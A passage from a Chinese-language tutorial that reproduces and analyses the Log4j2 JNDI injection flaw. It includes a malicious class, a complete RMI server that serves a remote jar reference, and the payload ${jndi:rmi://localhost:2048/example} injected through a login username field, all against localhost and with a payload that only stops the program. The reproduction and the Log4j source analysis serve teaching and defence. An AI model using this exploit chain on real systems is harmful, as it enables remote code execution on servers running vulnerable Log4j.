Log4j又发新版2

c.close();

} catch(Exception e) {

e.printStackTrace();

} finally {

if(conn!=null) {

try {

conn.close();

} catch(SQLException e) { }

}

}

是不是很熟悉呢？JNDI的其他应用在此我就不多做介绍了，如果还不了解JNDI/RMI/LDAP等相关概念的小伙伴请自行百度一下。

攻击原理

---

下面我以RMI的方式为例，详细复现步骤和分析原因。解释基本攻击原理之前，我们先来看一张时序图：

1、攻击者首先发布一个RMI服务，此服务将绑定一个引用类型的RMI对象。在引用对象中指定一个远程的含有恶意代码的类。例如：包含 system.exit(1) 等类似的危险操作和恶意代码的下载地址。

2、攻击者再发布另一个恶意代码下载服务，此服务可以下载所有含有恶意代码的类。

3、攻击者利用Log4j2的漏洞注入RMI调用，例如：logger.info(“日志信息 ${jndi:rmi://rmi-service:port/example}”)。

4、调用RMI后将获取到引用类型的RMI远程对象，该对象将就加载恶意代码并执行。

漏洞复现

---

1、创建恶意代码

创建恶意代码相关类，以下代码仅供学习：

package com.tom.example.log4j;

public class HackedClassFactory {

public HackedClassFactory(){

System.out.println(“程序即将终止”);

System.exit(1);

}

}

创建HackedClassFactory类的定义，在构造函数里写入终止程序运行的恶意代码。

2、发布恶意代码

将HackedClassFactory类打成jar包，发布到HTTP服务器上，能通过简单的Get请求正常下载即可。

3、创建RMI服务

编写如下代码，并运行程序：

package com.tom.example.rmi;

import javax.naming.Context;

import javax.naming.InitialContext;

import javax.naming.Reference;

import java.rmi.registry.LocateRegistry;

import java.util.Hashtable;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class HackedRmiService {

public static void main(String[] args) {

try {

int port = 2048; //设置RMI服务远程监听端口

//创建并发布RMI服务

LocateRegistry.createRegistry(port);

Hashtable<String, Object> env = new Hashtable<String,Object>();

env.put(Context.INITIAL_CONTEXT_FACTORY,“com.sun.jndi.rmi.registry.RegistryContextFactory”);

env.put(Context.PROVIDER_URL,“rmi://127.0.0.1” + “:” + port);

Context context = new InitialContext(env);

String serviceName = “example”;

String serviceClassName = “com.tom.example.log4j.HackedClassFactory”;

//指定恶意代码的下载地址

Reference refer = new Reference(

serviceName,

serviceClassName,

“http://127.0.0.1/example/classes.jar”);

ReferenceWrapper wrapper = new ReferenceWrapper(refer);

//为RMI服务绑定一个引用类型的对象，此对象可以被远程访问

context.bind(serviceName,wrapper);

}catch (Exception e){

e.printStackTrace();

}

}

}

RMI服务启动之后，即发布了监听端口为2048的RMI服务。

运行 netstat -ano | find “2048” 命令检验，得到如下结果，说明RMI服务已经正常启动，如下图：

4、注入恶意代码

下面我们利用Log4j的漏洞注入恶意代码，有已知用户登录的业务场景，小伙伴们先不管它是如何实现的，其代码如下：

@RequestMapping(value=“/login”)

public ResponseEntity login(String loginName,String loginPass){

ResultMsg<?> data = memberService.login(loginName,loginPass);

//演示代码，省略业务逻辑，默认为登录成功

log.info(“登录成功”,loginName);

String json = JSON.toJSONString(data);

return ResponseEntity

.ok()

.contentType(MediaType.APPLICATION_JSON)

.body(json);

}

利用Postman测试，首先正常访问能得到期望的结果，如下图所示：

用户登录成功后会正常返回token，这看上去是一个常规操作。细心的小伙发现，在登录成功之后，后台会打印一条日志且输出登录的用户名。

接下来，我做一个非常规操作。将用户名输入为${jndi:rmi://localhost:2048/example}

我们发现程序已经无法响应，再看后台日志，已经终止运行。

这里仅仅只是演示效果，我编写的恶意代码只是终止程序，如果攻击者注入的是其他恶意代码，那后果将不堪设想。

源码分析

---

通过以上案例还原了攻击者利用Log4j的漏洞对目标程序进行攻击的完整过程，接下来分析一下Log4j的源码从而了解根本原因。其罪魁祸首是Log4j2 的MessagePatternConverter组件中的format()方法，Log4j在记录日志的时候会间接的调用该方法，具体源码如下：

从源码中我们可以发现该方法会截取 $ 和 { } 之间的字符串，将该字符作为查找对象的条件。如果字符是 jndi:rmi 这样的协议格式则进行JNDI方式的RMI调用,从而触发原生的RMI服务调用。具体调用位置在StrSubstitutor的substitute()方法:

private int substitute(LogEvent event, StringBuilder buf, int offset, int length, List priorVariables) {

//此处省略部分代码

…

this.checkCyclicSubstitution(varName, (List)priorVariables);

((List)priorVariables).add(varName);

String varValue = this.resolveVariable(event, varName, buf, startPos, pos);

if (varValue == null) {

varValue = varDefaultValue;

}

//此处省略部分代码

…

}

上述代码中的resolveVariable()最终会调用InitialContext的lookup()方法：​​​​​​​

protected String resolveVariable(LogEvent event, String variableName, StringBuilder buf, int startPos, int endPos) {

StrLookup resolver = this.getVariableResolver();

return resolver == null ? null : resolver.lookup(event, variableName);

}

通过断点调试，我们确实发现调用了RMI服务，图下图所示：

最终恶意代码通过RMI加载完成以后，会调用javax.naming.spi.NamingManager的getObjectFactoryFromReference()方法加载恶意代码，也就是我们之前写的com.tom.example.log4j.HackedClassFactory类。首先会在尝试本地找，如果本地找不到会通过远程地址加载，也就是我们发布的下载服务，即http://127.0.0.1/example/classes.jar

加载远程代码之后，通过反射调用构造器创建攻击类的实例，而恶意代码编写在构造器中，所以在被攻击者的程序中间接执行了恶意代码。

看到这里，小伙伴们是不是有种和SQL注入如出一辙的感觉。

风险条件